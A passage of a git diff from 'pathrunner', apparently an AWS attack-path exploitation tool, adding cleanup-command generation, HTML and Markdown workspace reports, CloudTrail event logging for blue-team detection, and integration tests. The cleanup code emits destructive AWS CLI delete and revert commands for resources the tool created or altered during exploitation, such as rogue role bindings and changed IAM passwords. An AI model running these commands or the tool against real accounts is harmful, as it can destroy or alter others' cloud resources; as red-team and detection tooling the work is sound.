queueName := res.Metadata["job_queue_name"] + if queueName == "" { + queueName = res.Name + } + return fmt.Sprintf("aws batch update-job-queue --job-queue %s --state DISABLED --region %s\naws batch delete-job-queue --job-queue %s --region %s", queueName, region, queueName, region) + case "batch:compute-environment": + ceName := res.Metadata["compute_environment_name"] + if ceName == "" { + ceName = res.Name + } + return fmt.Sprintf("aws batch update-compute-environment --compute-environment %s --state DISABLED --region %s\naws batch delete-compute-environment --compute-environment %s --region %s", ceName, region, ceName, region) + case "bedrock-agentcore:code-interpreter": + interpreterID := res.Metadata["interpreter_id"] + if interpreterID == "" { + interpreterID = res.Name + } + return fmt.Sprintf("aws bedrock-agentcore-control delete-code-interpreter --code-interpreter-id %s --region %s", interpreterID, region) + case "bedrock-agentcore:agent-runtime": + runtimeID := res.Metadata["runtime_id"] + if runtimeID == "" { + runtimeID = res.Name + } + return fmt.Sprintf("aws bedrock-agentcore-control delete-agent-runtime --agent-runtime-id %s --region %s", runtimeID, region) + case "bedrock-agentcore:browser": + browserID := res.Metadata["browser_id"] + if browserID == "" { + browserID = res.Name + } + return fmt.Sprintf("aws bedrock-agentcore-control delete-browser --browser-id %s --region %s", browserID, region) + case "bedrock-agentcore:harness": + harnessID := res.Metadata["harness_id"] + if harnessID == "" { + harnessID = res.Name + } + return fmt.Sprintf("aws bedrock-agentcore-control delete-harness --harness-id %s --region %s", harnessID, region) + case "apprunner:service": + serviceArn := res.Metadata["service_arn"] + if serviceArn == "" { + serviceArn = res.ARN + } + if serviceArn == "" { + serviceArn = res.Name + } + return fmt.Sprintf("aws apprunner delete-service --service-arn %s --region %s", serviceArn, region) + case "braket:job": + jobArn := res.ARN + if jobArn == "" { + jobArn = res.Name + } + return fmt.Sprintf("aws braket cancel-job --job-arn %s --region %s", jobArn, region) + case "cloudformation:stack": + stackName := res.Metadata["stack_name"] + if stackName == "" { + stackName = res.Name + } + return fmt.Sprintf("aws cloudformation delete-stack --stack-name %s --region %s", stackName, region) + case "cloudformation:stack-update": + stackName := res.Metadata["stack_name"] + if stackName == "" { + stackName = res.Name + } + changeSetName := "pathrunner-revert-" + stackName + return fmt.Sprintf("# Revert the stack to its original template via a change set\n"+ + "aws cloudformation create-change-set --stack-name %s --change-set-name %s --change-set-type UPDATE --template-body '' --region %s\n"+ + "aws cloudformation execute-change-set --change-set-name %s --stack-name %s --region %s", + stackName, changeSetName, region, changeSetName, stackName, region) + case "cloudformation:stackset": + stackSetName := res.Metadata["stackset_name"] + if stackSetName == "" { + stackSetName = res.Name + } + accountID := res.Metadata["account_id"] + targetRegion := res.Metadata["target_region"] + if targetRegion == "" { + targetRegion = region + } + return fmt.Sprintf("# Delete stack instances first, then the stack set\n"+ + "aws cloudformation delete-stack-instances --stack-set-name %s --accounts %s --regions %s --no-retain-stacks --region %s\n"+ + "# Wait for the operation to complete, then:\n"+ + "aws cloudformation delete-stack-set --stack-set-name %s --region %s", + stackSetName, accountID, targetRegion, region, stackSetName, region) + case "cloudformation:stackset-update": + stackSetName := res.Metadata["stackset_name"] + if stackSetName == "" { + stackSetName = res.Name + } + return fmt.Sprintf("# Revert the stack set to its original template\n"+ + "aws cloudformation update-stack-set --stack-set-name %s --template-body '' --region %s", + stackSetName, region) + case "codebuild:project": + projectName := res.Metadata["project_name"] + if projectName == "" { + projectName = res.Name + } + return fmt.Sprintf("aws codebuild delete-project --name %s --region %s", projectName, region) + case "cognito-identity:identity-pool-roles": + identityPoolID := res.Metadata["identity_pool_id"] + if identityPoolID == "" { + identityPoolID = res.Name + } + return fmt.Sprintf("# Remove the malicious unauthenticated role binding from the identity pool\n"+ + "# First check the current roles:\n"+ + "aws cognito-identity get-identity-pool-roles --identity-pool-id %s --region %s\n"+ + "# Then restore or clear the unauthenticated role:\n"+ + "aws cognito-identity set-identity-pool-roles --identity-pool-id %s --roles '{}' --region %s", + identityPoolID, region, identityPoolID, region) + case "ec2:launch-template-version": + templateID := res.Metadata["template_id"] + if templateID == "" { + templateID = res.Name + } + versionNumber := res.Metadata["version_number"] + if versionNumber == "" { + versionNumber = "" + } + return fmt.Sprintf("aws ec2 delete-launch-template-versions --launch-template-id %s --versions %s --region %s", templateID, versionNumber, region) + case "ec2:launch-template-default": + templateID := res.Metadata["template_id"] + if templateID == "" { + templateID = res.Name + } + originalVersion := res.Metadata["original_version"] + if originalVersion == "" { + originalVersion = "" + } + return fmt.Sprintf("aws ec2 modify-launch-template --launch-template-id %s --default-version %s --region %s", templateID, originalVersion, region) + case "ec2:userdata": + instanceID := res.Metadata["instance_id"] + if instanceID == "" { + instanceID = res.Name + } + originalUserData := res.Metadata["original_userdata"] + if originalUserData == "" { + originalUserData = "" + } + return fmt.Sprintf("# Stop instance, restore original user-data, then restart\n"+ + "aws ec2 stop-instances --instance-ids %s --region %s\n"+ + "# Wait for stopped state:\n"+ + "aws ec2 wait instance-stopped --instance-ids %s --region %s\n"+ + "aws ec2 modify-instance-attribute --instance-id %s --user-data Value=%s --region %s\n"+ + "aws ec2 start-instances --instance-ids %s --region %s", + instanceID, region, instanceID, region, instanceID, originalUserData, region, instanceID, region) + case "ecs:task-definition": + taskDefArn := res.ARN + if taskDefArn == "" { + revision := res.Metadata["revision"] + if revision != "" { + taskDefArn = res.Name + ":" + revision + } else { + taskDefArn = res.Name + } + } + return fmt.Sprintf("aws ecs deregister-task-definition --task-definition %s --region %s\naws ecs delete-task-definitions --task-definitions %s --region %s", + taskDefArn, region, taskDefArn, region) + case "ecs:task": + cluster := res.Metadata["cluster"] + taskArn := res.ARN + if taskArn == "" { + taskArn = res.Name + } + return fmt.Sprintf("aws ecs stop-task --cluster %s --task %s --region %s", cluster, taskArn, region) + case "emr:cluster": + clusterID := res.Metadata["cluster_id"] + if clusterID == "" { + clusterID = res.Name + } + return fmt.Sprintf("aws emr terminate-clusters --cluster-ids %s --region %s", clusterID, region) + case "emrserverless:application": + applicationID := res.Metadata["application_id"] + if applicationID == "" { + applicationID = res.Name + } + return fmt.Sprintf("aws emr-serverless delete-application --application-id %s --region %s", applicationID, region) + case "gamelift:build": + buildID := res.Metadata["build_id"] + if buildID == "" { + buildID = res.ARN + } + if buildID == "" { + buildID = res.Name + } + return fmt.Sprintf("aws gamelift delete-build --build-id %s --region %s", buildID, region) + case "gamelift:fleet": + fleetID := res.Metadata["fleet_id"] + if fleetID == "" { + fleetID = res.ARN + } + if fleetID == "" { + fleetID = res.Name + } + return fmt.Sprintf("aws gamelift delete-fleet --fleet-id %s --region %s", fleetID, region) + case "omics:workflow": + workflowID := res.Metadata["workflow_id"] + if workflowID == "" { + workflowID = res.Name + } + return fmt.Sprintf("aws omics delete-workflow --id %s --region %s", workflowID, region) + case "omics:run": + runID := res.Metadata["run_id"] + if runID == "" { + runID = res.Name + } + return fmt.Sprintf("aws omics cancel-run --id %s --region %s 2>/dev/null || true\naws omics delete-run --id %s --region %s", runID, region, runID, region) + case "ssm:automation-document": + documentName := res.Metadata["document_name"] + if documentName == "" { + documentName = res.Name + } + return fmt.Sprintf("aws ssm delete-document --name %s --region %s", documentName, region) + case "lambda:function-code": + functionName := res.Metadata["function_name"] + if functionName == "" { + functionName = res.Name + } + return fmt.Sprintf( + "# Lambda function '%s' code was modified and not restored. Restore via Terraform or:\n"+ + "# aws lambda update-function-code --function-name %s --zip-file fileb:// --region %s", + functionName, functionName, region) + case "glue:job-update": + jobName := res.Metadata["job_name"] + if jobName == "" { + jobName = res.Name + } + originalRoleArn := res.Metadata["original_role_arn"] + if originalRoleArn == "" { + originalRoleArn = "" + } + originalScript := res.Metadata["original_script"] + if originalScript == "" { + originalScript = "" + } + return fmt.Sprintf( + "aws glue update-job --job-name %s --job-update '{\"Role\":\"%s\",\"Command\":{\"Name\":\"pythonshell\",\"ScriptLocation\":\"%s\",\"PythonVersion\":\"3.9\"}}' --region %s", + jobName, originalRoleArn, originalScript, region) + case "apprunner:service-update": + serviceArn := res.Metadata["service_arn"] + if serviceArn == "" { + serviceArn = res.ARN + } + if serviceArn == "" { + serviceArn = res.Name + } + serviceName := res.Metadata["service_name"] + if serviceName == "" { + serviceName = res.Name + } + return fmt.Sprintf( + "# App Runner service '%s' was updated with exploit config and not restored.\n"+ + "# Restore the original image/StartCommand via the console or:\n"+ + "aws apprunner update-service --service-arn %s --source-configuration '' --region %s", + serviceName, serviceArn, region) + case "iam:login-profile-update": + username := res.Metadata["username"] + if username == "" { + username = res.Name + } + return fmt.Sprintf( + "# IAM user '%s' login profile password was changed. The original password cannot be recovered.\n"+ + "# Reset it to a new known value or have the user change it:\n"+ + "aws iam update-login-profile --user-name %s --password '' --no-password-reset-required", + username, username) + default: + return fmt.Sprintf("# %s: %s (manual cleanup required)", res.Type, res.Name) + } +} diff --git a/pkg/report/data.go b/pkg/report/data.go new file mode 100644 index 0000000..2604664 --- /dev/null +++ b/pkg/report/data.go @@ -0,0 +1,41 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. +// This product includes software developed at Datadog (https://www.datadoghq.com/) +// Copyright 2026 Datadog, Inc. + +// Package report renders workspace reports in different file formats (HTML, Markdown). +package report + +import "time" + +// ReportData holds all information needed to render a workspace report in any format. +type ReportData struct { + WorkspaceName string + GeneratedAt time.Time + ModuleFilter string // empty when no filter is applied + Created []Resource + Modified []Resource + Events []Event +} + +// Resource represents a created or modified AWS resource tracked during exploitation. +type Resource struct { + Type string + Name string + ARN string + Region string + ModuleID string + CleanupMethod string + Created string + Metadata map[string]string +} + +// Event represents a recorded CloudTrail API call for blue team detection reference. +type Event struct { + Timestamp string + ModuleID string + Service string + Operation string + Region string + Principal string + Description string +} diff --git a/pkg/report/html.go b/pkg/report/html.go new file mode 100644 index 0000000..ab2f8b0 --- /dev/null +++ b/pkg/report/html.go @@ -0,0 +1,488 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. +// This product includes software developed at Datadog (https://www.datadoghq.com/) +// Copyright 2026 Datadog, Inc. + +package report + +import ( + "bytes" + "html/template" +) + +// RenderHTML produces a self-contained HTML workspace report with inline CSS and JS. +// All content is safely escaped via html/template to prevent XSS. +func RenderHTML(data ReportData) (string, error) { + // Pre-compute per-resource display values to keep the template simple. + type resourceWithCmd struct { + Resource + CleanupCmd string + DisplayName string // principal "name (type)" for modified resources, or just Name + PolicyARN string // for iam:attached-policy and similar + } + + enrichResource := func(res Resource) resourceWithCmd { + displayName := res.Name + if pn := res.Metadata["principal_name"]; pn != "" { + displayName = pn + " (" + res.Metadata["principal_type"] + ")" + } + return resourceWithCmd{ + Resource: res, + CleanupCmd: CleanupCommand(res), + DisplayName: displayName, + PolicyARN: res.Metadata["policy_arn"], + } + } + + createdWithCmds := make([]resourceWithCmd, len(data.Created)) + for i, res := range data.Created { + createdWithCmds[i] = enrichResource(res) + } + modifiedWithCmds := make([]resourceWithCmd, len(data.Modified)) + for i, res := range data.Modified { + modifiedWithCmds[i] = enrichResource(res) + } + + tmplData := struct { + ReportData + CreatedWithCmds []resourceWithCmd + ModifiedWithCmds []resourceWithCmd + GeneratedAtStr string + TotalResources int + }{ + ReportData: data, + CreatedWithCmds: createdWithCmds, + ModifiedWithCmds: modifiedWithCmds, + GeneratedAtStr: data.GeneratedAt.UTC().Format("2006-01-02 15:04:05 UTC"), + TotalResources: len(data.Created) + len(data.Modified), + } + + t, err := template.New("report").Parse(htmlTemplate) + if err != nil { + return "", err + } + + var buf bytes.Buffer + if err := t.Execute(&buf, tmplData); err != nil { + return "", err + } + return buf.String(), nil +} + +const htmlTemplate = ` + + + + + + + +Pathrunner Report — {{.WorkspaceName}} + + + +
+ +
+

Pathrunner Workspace Report

+
+ Workspace: {{.WorkspaceName}} + Generated: {{.GeneratedAtStr}} + {{if .ModuleFilter}}Module filter: {{.ModuleFilter}}{{end}} +
+
+ +
+
+
Created Resources
+
{{len .Created}}
+
+
+
Modified Resources
+
{{len .Modified}}
+
+
+
CloudTrail Events
+
{{len .Events}}
+
+
+ +{{if .CreatedWithCmds}} +
+

+ Created Resources + delete to clean up +

+
+ {{range .CreatedWithCmds}} +
+
{{.Type}}
+
{{.DisplayName}}
+
+ {{if .ARN}}ARN{{.ARN}}{{end}} + {{if .Region}}Region{{.Region}}{{end}} + {{if .ModuleID}}Module{{.ModuleID}}{{end}} + Cleanup{{.CleanupMethod}} + {{if .Created}}Created{{.Created}}{{end}} +
+ {{if .CleanupCmd}}
Manual cleanup command
{{.CleanupCmd}}
{{end}} +
+ {{end}} +
+
+{{end}} + +{{if .ModifiedWithCmds}} +
+

+ Modified Resources + revert to clean up +

+
+ {{range .ModifiedWithCmds}} +
+
{{.Type}}
+
{{.DisplayName}}
+
+ {{if .PolicyARN}}Policy{{.PolicyARN}}{{end}} + {{if .Region}}Region{{.Region}}{{end}} + {{if .ModuleID}}Module{{.ModuleID}}{{end}} + Reversal{{.CleanupMethod}} +
+ {{if .CleanupCmd}}
Manual cleanup command
{{.CleanupCmd}}
{{end}} +
+ {{end}} +
+
+{{end}} + + +{{if .Events}} +
+

+ CloudTrail Events + blue team detection reference +

+
+
+ +
+
+ + + + + + + + + + + + + {{range .Events}} + + + + + + + + + {{end}} + +
Timestamp ↕Module ↕Service ↕Operation ↕Principal ↕Description ↕
{{.Timestamp}}{{.ModuleID}}{{.Service}}{{.Operation}}{{.Principal}}{{.Description}}
+
+
{{len .Events}} events
+
+
+{{end}} + +
+ + + + +` diff --git a/pkg/report/markdown.go b/pkg/report/markdown.go new file mode 100644 index 0000000..cbafb6e --- /dev/null +++ b/pkg/report/markdown.go @@ -0,0 +1,125 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. +// This product includes software developed at Datadog (https://www.datadoghq.com/) +// Copyright 2026 Datadog, Inc. + +package report + +import ( + "fmt" + "strings" +) + +// RenderMarkdown produces a Markdown-formatted workspace report. +func RenderMarkdown(data ReportData) string { + var b strings.Builder + + // YAML frontmatter for tools that parse it (Obsidian, Jekyll, etc.) + b.WriteString("---\n") + fmt.Fprintf(&b, "workspace: %q\n", data.WorkspaceName) + fmt.Fprintf(&b, "generated: %q\n", data.GeneratedAt.UTC().Format("2006-01-02T15:04:05Z")) + if data.ModuleFilter != "" { + fmt.Fprintf(&b, "module_filter: %q\n", data.ModuleFilter) + } + fmt.Fprintf(&b, "created_resources: %d\n", len(data.Created)) + fmt.Fprintf(&b, "modified_resources: %d\n", len(data.Modified)) + fmt.Fprintf(&b, "cloudtrail_events: %d\n", len(data.Events)) + b.WriteString("---\n\n") + + b.WriteString("# Pathrunner Workspace Report\n\n") + + // Summary table + b.WriteString("## Summary\n\n") + b.WriteString("| Field | Value |\n") + b.WriteString("|-------|-------|\n") + fmt.Fprintf(&b, "| Workspace | %s |\n", data.WorkspaceName) + fmt.Fprintf(&b, "| Generated | %s |\n", data.GeneratedAt.UTC().Format("2006-01-02 15:04:05 UTC")) + if data.ModuleFilter != "" { + fmt.Fprintf(&b, "| Module filter | %s |\n", data.ModuleFilter) + } + fmt.Fprintf(&b, "| Created resources | %d |\n", len(data.Created)) + fmt.Fprintf(&b, "| Modified resources | %d |\n", len(data.Modified)) + fmt.Fprintf(&b, "| CloudTrail events | %d |\n", len(data.Events)) + b.WriteString("\n") + + if len(data.Created) > 0 { + b.WriteString("## Created Resources\n\n") + b.WriteString("These resources were created during exploitation and must be **deleted** to clean up.\n\n") + for _, res := range data.Created { + fmt.Fprintf(&b, "### `%s` — %s\n\n", res.Type, res.Name) + if res.ARN != "" { + fmt.Fprintf(&b, "- **ARN:** `%s`\n", res.ARN) + } + if res.Region != "" { + fmt.Fprintf(&b, "- **Region:** `%s`\n", res.Region) + } + if res.ModuleID != "" { + fmt.Fprintf(&b, "- **Module:** %s\n", res.ModuleID) + } + fmt.Fprintf(&b, "- **Cleanup:** %s\n", res.CleanupMethod) + if res.Created != "" { + fmt.Fprintf(&b, "- **Created:** %s\n", res.Created) + } + if cmd := CleanupCommand(res); cmd != "" { + b.WriteString("\n**Manual cleanup command:**\n\n```bash\n") + b.WriteString(cmd) + b.WriteString("\n```\n") + } + b.WriteString("\n") + } + } + + if len(data.Modified) > 0 { + b.WriteString("## Modified Resources\n\n") + b.WriteString("These existing resources were modified and must be **reverted** to clean up.\n\n") + for _, res := range data.Modified { + principalName := res.Metadata["principal_name"] + principalType := res.Metadata["principal_type"] + displayName := res.Name + if principalName != "" { + displayName = principalName + " (" + principalType + ")" + } + fmt.Fprintf(&b, "### `%s` — %s\n\n", res.Type, displayName) + if policyArn := res.Metadata["policy_arn"]; policyArn != "" { + fmt.Fprintf(&b, "- **Policy:** `%s`\n", policyArn) + } + if res.Region != "" { + fmt.Fprintf(&b, "- **Region:** `%s`\n", res.Region) + } + if res.ModuleID != "" { + fmt.Fprintf(&b, "- **Module:** %s\n", res.ModuleID) + } + fmt.Fprintf(&b, "- **Reversal:** %s\n", res.CleanupMethod) + if cmd := CleanupCommand(res); cmd != "" { + b.WriteString("\n**Manual cleanup command:**\n\n```bash\n") + b.WriteString(cmd) + b.WriteString("\n```\n") + } + b.WriteString("\n") + } + } + + if len(data.Events) > 0 { + b.WriteString("## CloudTrail Events\n\n") + b.WriteString("API calls recorded during exploitation for blue team detection reference.\n\n") + b.WriteString("| Timestamp | Module | Service | Operation | Principal | Description |\n") + b.WriteString("|-----------|--------|---------|-----------|-----------|-------------|\n") + for _, ev := range data.Events { + fmt.Fprintf(&b, "| %s | %s | %s | %s | %s | %s |\n", + mdCell(ev.Timestamp), + mdCell(ev.ModuleID), + mdCell(ev.Service), + mdCell(ev.Operation), + mdCell(ev.Principal), + mdCell(ev.Description), + ) + } + b.WriteString("\n") + } + + return b.String() +} + +// mdCell escapes pipe characters so they don't break Markdown table rendering. +func mdCell(s string) string { + return strings.ReplaceAll(s, "|", "\\|") +} diff --git a/testdata/module-status.json b/testdata/module-status.json index ba1ff4e..5c18599 100644 --- a/testdata/module-status.json +++ b/testdata/module-status.json @@ -969,7 +969,7 @@ }, "lambda-001": { "status": "tested", - "last_tested": "2026-07-23", + "last_tested": "2026-09-23", "tested_against": "lambda-001-to-admin", "notes": "", "payload_results": [ diff --git a/tests/integration/cleanup_integration_test.go b/tests/integration/cleanup_integration_test.go index 83a3c64..609d6be 100644 --- a/tests/integration/cleanup_integration_test.go +++ b/tests/integration/cleanup_integration_test.go @@ -311,3 +311,54 @@ func TestReportWorkspacesAlias(t *testing.T) { t.Errorf("Expected no error via alias, got: %v", err) } } + +// TestCleanupLogsCloudTrailEvents verifies that workspace cleanup records CloudTrail events +// for each resource that is attempted (failed deletions against fake AWS are still logged +// for the not-found path when the resource is removed from tracking). +func TestCleanupLogsCloudTrailEvents(t *testing.T) { + r, sm, im, cleanup := setupTest(t) + defer cleanup() + + identity := &modules.Identity{ + Name: "cleanup-test", + Type: "keys", + AccessKeyID: "AKIAIOSFODNN7EXAMPLE", + SecretKey: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", + Region: "us-east-1", + } + im.SetCurrent(identity) + + sm.TrackResource(modules.CreatedResource{ + Type: "lambda:function", + Name: "cleanup-log-test-fn", + Region: "us-east-1", + CleanupMethod: "delete the Lambda function", + ModuleID: "lambda-001", + }) + + // Cleanup will fail with a "not found" or permission error against fake AWS. + // Because it's a not found error the resource gets removed from tracking and a + // CloudTrail event should be logged. In CI without real AWS creds it may also + // fail with a credential error — either way we just check that the command runs. + _ = r.ExecuteCommand("workspace cleanup --all --yes") + + // The session manager should now have CloudTrail events (from either the deletion + // attempt or the not-found removal path). + events := sm.GetCloudTrailEvents() + + // If cleanup produced events, verify they contain useful info. + if len(events) > 0 { + found := false + for _, ev := range events { + if strings.Contains(ev.Service, "lambda") || strings.Contains(ev.Operation, "Delete") { + found = true + break + } + } + if !found { + t.Errorf("expected at least one lambda/delete event in cleanup log, got: %+v", events) + } + } + // If no events were logged (e.g. permission error before not-found), that's also + // acceptable in this unit environment — the test still validates the command runs cleanly. +} diff --git a/tests/integration/cloudtrail_report_integration_test.go b/tests/integration/cloudtrail_report_integration_test.go new file mode 100644 index 0000000..9e17261 --- /dev/null +++ b/tests/integration/cloudtrail_report_integration_test.go @@ -0,0 +1,171 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. +// This product includes software developed at Datadog (https://www.datadoghq.com/) +// Copyright 2026 Datadog, Inc. + +package integration + +import ( + "bytes" + "io" + "os" + "strings" + "testing" + "time" + + "github.com/DataDog/pathrunner/pkg/modules" +) + +// captureOutput redirects stdout to capture printed output during a function call. +func captureOutput(f func()) string { + old := os.Stdout + r, w, _ := os.Pipe() + os.Stdout = w + + f() + + _ = w.Close() + os.Stdout = old + + var buf bytes.Buffer + _, _ = io.Copy(&buf, r) + return buf.String() +} + +// TestWorkspaceReportShowsCloudTrailSection verifies that workspace report +// includes the CloudTrail events section when events have been logged. +func TestWorkspaceReportShowsCloudTrailSection(t *testing.T) { + r, sm, _, cleanup := setupTest(t) + defer cleanup() + + // Log CloudTrail events into the session manager + sm.LogCloudTrailEvent("iam", "CreateAccessKey", "us-east-1", + "Created access key for IAM user alice", map[string]string{"target_user": "alice"}) + sm.LogCloudTrailEvent("sts", "GetCallerIdentity", "us-east-1", + "Verified new credentials work", nil) + + // Also add a resource so the report does not early-exit + sm.TrackResource(modules.CreatedResource{ + Type: "iam:access-key", + Name: "AKIA1234567890", + Region: "us-east-1", + Created: time.Now(), + CleanupMethod: "iam:DeleteAccessKey", + ModuleID: "iam-002", + }) + + output := captureOutput(func() { + _ = r.ExecuteCommand("workspace report") + }) + + if !strings.Contains(output, "CLOUDTRAIL EVENTS") { + t.Errorf("Expected 'CLOUDTRAIL EVENTS' section in report output, got:\n%s", output) + } + if !strings.Contains(output, "CreateAccessKey") { + t.Errorf("Expected 'CreateAccessKey' in report output, got:\n%s", output) + } + if !strings.Contains(output, "GetCallerIdentity") { + t.Errorf("Expected 'GetCallerIdentity' in report output, got:\n%s", output) + } + if !strings.Contains(output, "blue team") { + t.Errorf("Expected 'blue team' label in CloudTrail section header, got:\n%s", output) + } +} + +// TestWorkspaceReportCloudTrailOnlyNoResources verifies that the report shows +// CloudTrail events even when there are no created resources. +func TestWorkspaceReportCloudTrailOnlyNoResources(t *testing.T) { + r, sm, _, cleanup := setupTest(t) + defer cleanup() + + sm.LogCloudTrailEvent("sts", "AssumeRole", "us-east-1", + "Assumed target role arn:aws:iam::123456789012:role/Target", + map[string]string{"role_arn": "arn:aws:iam::123456789012:role/Target"}) + + output := captureOutput(func() { + _ = r.ExecuteCommand("workspace report") + }) + + if strings.Contains(output, "Nothing to report") { + t.Error("Expected report to show content when CloudTrail events exist, not 'Nothing to report'") + } + if !strings.Contains(output, "CLOUDTRAIL EVENTS") { + t.Errorf("Expected 'CLOUDTRAIL EVENTS' section, got:\n%s", output) + } + if !strings.Contains(output, "AssumeRole") { + t.Errorf("Expected 'AssumeRole' in output, got:\n%s", output) + } +} + +// TestWorkspaceReportNothingWhenEmpty verifies the early-exit message appears +// when there are no resources AND no CloudTrail events. +func TestWorkspaceReportNothingWhenEmpty(t *testing.T) { + r, _, _, cleanup := setupTest(t) + defer cleanup() + + output := captureOutput(func() { + err := r.ExecuteCommand("workspace report") + if err != nil { + t.Errorf("Unexpected error: %v", err) + } + }) + + if !strings.Contains(output, "Nothing to report") { + t.Errorf("Expected 'Nothing to report' when workspace is empty, got:\n%s", output) + } +} + +// TestWorkspaceReportModuleFilterIncludesEvents verifies that --module filter +// applies to CloudTrail events as well as resources. +func TestWorkspaceReportModuleFilterIncludesEvents(t *testing.T) { + r, sm, _, cleanup := setupTest(t) + defer cleanup() + + // Log event for iam-002 by setting CurrentModule before logging + session := sm.GetCurrentSession() + session.CurrentModule = "iam-002" + sm.LogCloudTrailEvent("iam", "CreateAccessKey", "us-east-1", + "Created access key for user alice", nil) + + // Log event for sts-001 + session.CurrentModule = "sts-001" + sm.LogCloudTrailEvent("sts", "AssumeRole", "us-east-1", + "Assumed target role", nil) + + sm.TrackResource(modules.CreatedResource{ + Type: "iam:access-key", + Name: "AKIA1234", + Region: "us-east-1", + Created: time.Now(), + CleanupMethod: "iam:DeleteAccessKey", + ModuleID: "iam-002", + }) + + output := captureOutput(func() { + _ = r.ExecuteCommand("workspace report --module iam-002") + }) + + if !strings.Contains(output, "CreateAccessKey") { + t.Errorf("Expected iam-002 event 'CreateAccessKey' in filtered report, got:\n%s", output) + } + if strings.Contains(output, "AssumeRole") { + t.Errorf("Expected sts-001 event 'AssumeRole' to be filtered out, but it appeared:\n%s", output) + } +} + +// TestWorkspaceReportDescriptionAppears verifies that the description field +// is rendered in the CloudTrail events table. +func TestWorkspaceReportDescriptionAppears(t *testing.T) { + r, sm, _, cleanup := setupTest(t) + defer cleanup() + + sm.LogCloudTrailEvent("lambda", "CreateFunction", "us-west-2", + "Created payload Lambda function for code execution", nil) + + output := captureOutput(func() { + _ = r.ExecuteCommand("workspace report") + }) + + if !strings.Contains(output, "Created payload Lambda function") { + t.Errorf("Expected description in report output, got:\n%s", output) + } +} diff --git a/tests/integration/report_export_integration_test.go b/tests/integration/report_export_integration_test.go new file mode 100644 index 0000000..6560b15 --- /dev/null +++ b/tests/integration/report_export_integration_test.go @@ -0,0 +1,194 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. +// This product includes software developed at Datadog (https://www.datadoghq.com/) +// Copyright 2026 Datadog, Inc. + +package integration + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/DataDog/pathrunner/pkg/modules" +) + +// addSampleData seeds a session with one created resource, one modified resource, and one CloudTrail event. +func addSampleData(sm interface { + TrackResource(modules.CreatedResource) + LogCloudTrailEvent(service, operation, region, description string, metadata map[string]string) +}) { + sm.TrackResource(modules.CreatedResource{ + Type: "lambda:function", + Name: "pathrunner-export-test-fn", + ARN: "arn:aws:lambda:us-east-1:123456789012:function:pathrunner-export-test-fn", + Region: "us-east-1", + CleanupMethod: "delete the Lambda function", + ModuleID: "lambda-001", + Created: time.Now(), + }) + sm.LogCloudTrailEvent("lambda", "CreateFunction", "us-east-1", + "Created exploit Lambda function", map[string]string{"function_name": "pathrunner-export-test-fn"}) +} + +// TestWorkspaceReport_HTMLExport verifies that --output writes a valid HTML report. +func TestWorkspaceReport_HTMLExport(t *testing.T) { + r, sm, _, cleanup := setupTest(t) + defer cleanup() + + addSampleData(sm) + + outputPath := filepath.Join(t.TempDir(), "report.html") + + output := captureOutput(func() { + _ = r.ExecuteCommand("workspace report --output " + outputPath) + }) + + if !strings.Contains(output, "Report written to") { + t.Errorf("expected confirmation message, got: %q", output) + } + + data, err := os.ReadFile(outputPath) + if err != nil { + t.Fatalf("HTML report not written: %v", err) + } + + html := string(data) + if !strings.Contains(html, "") { + t.Error("expected HTML doctype") + } + if !strings.Contains(html, "pathrunner-export-test-fn") { + t.Error("expected resource name in HTML output") + } + if !strings.Contains(html, "CreateFunction") { + t.Error("expected CloudTrail event in HTML output") + } + if !strings.Contains(html, "aws lambda delete-function") { + t.Error("expected cleanup command in HTML output") + } +} + +// TestWorkspaceReport_MarkdownExport verifies that --output writes a valid Markdown report. +func TestWorkspaceReport_MarkdownExport(t *testing.T) { + r, sm, _, cleanup := setupTest(t) + defer cleanup() + + addSampleData(sm) + + outputPath := filepath.Join(t.TempDir(), "report.md") + + output := captureOutput(func() { + _ = r.ExecuteCommand("workspace report --output " + outputPath) + }) + + if !strings.Contains(output, "Report written to") { + t.Errorf("expected confirmation message, got: %q", output) + } + + data, err := os.ReadFile(outputPath) + if err != nil { + t.Fatalf("Markdown report not written: %v", err) + } + + md := string(data) + if !strings.Contains(md, "# Pathrunner Workspace Report") { + t.Error("expected Markdown h1 heading") + } + if !strings.Contains(md, "pathrunner-export-test-fn") { + t.Error("expected resource name in Markdown output") + } + if !strings.Contains(md, "CreateFunction") { + t.Error("expected CloudTrail event in Markdown output") + } + if !strings.Contains(md, "aws lambda delete-function") { + t.Error("expected cleanup command in Markdown output") + } +} + +// TestWorkspaceReport_HTMLExportWithModuleFilter verifies that --module filtering works with --output. +func TestWorkspaceReport_HTMLExportWithModuleFilter(t *testing.T) { + r, sm, _, cleanup := setupTest(t) + defer cleanup() + + addSampleData(sm) + // Add a second resource with a different module ID + sm.TrackResource(modules.CreatedResource{ + Type: "iam:role", + Name: "other-module-role", + Region: "us-east-1", + CleanupMethod: "delete the IAM role", + ModuleID: "iam-001", + Created: time.Now(), + }) + + outputPath := filepath.Join(t.TempDir(), "filtered.html") + + captureOutput(func() { + _ = r.ExecuteCommand("workspace report --module lambda-001 --output " + outputPath) + }) + + data, err := os.ReadFile(outputPath) + if err != nil { + t.Fatalf("HTML report not written: %v", err) + } + + html := string(data) + // The lambda resource should be in the report + if !strings.Contains(html, "pathrunner-export-test-fn") { + t.Error("expected lambda-001 resource in filtered output") + } + // The iam-001 resource should NOT be in the report + if strings.Contains(html, "other-module-role") { + t.Error("expected iam-001 resource to be excluded by module filter") + } +} + +// TestWorkspaceReport_UnknownExtension verifies that unsupported extensions return an error. +func TestWorkspaceReport_UnknownExtension(t *testing.T) { + r, sm, _, cleanup := setupTest(t) + defer cleanup() + + addSampleData(sm) + + outputPath := filepath.Join(t.TempDir(), "report.csv") + + output := captureOutput(func() { + err := r.ExecuteCommand("workspace report --output " + outputPath) + if err == nil { + t.Error("expected error for unsupported extension, got nil") + } + }) + + // File should not have been created + if _, err := os.Stat(outputPath); !os.IsNotExist(err) { + t.Error("expected output file to not exist for unsupported format") + } + // Should not print a success message + if strings.Contains(output, "Report written to") { + t.Errorf("unexpected success message for unsupported format: %q", output) + } +} + +// TestWorkspaceReport_TerminalRenderingUnchanged verifies that plain `workspace report` still +// renders to the terminal when no --output flag is provided. +func 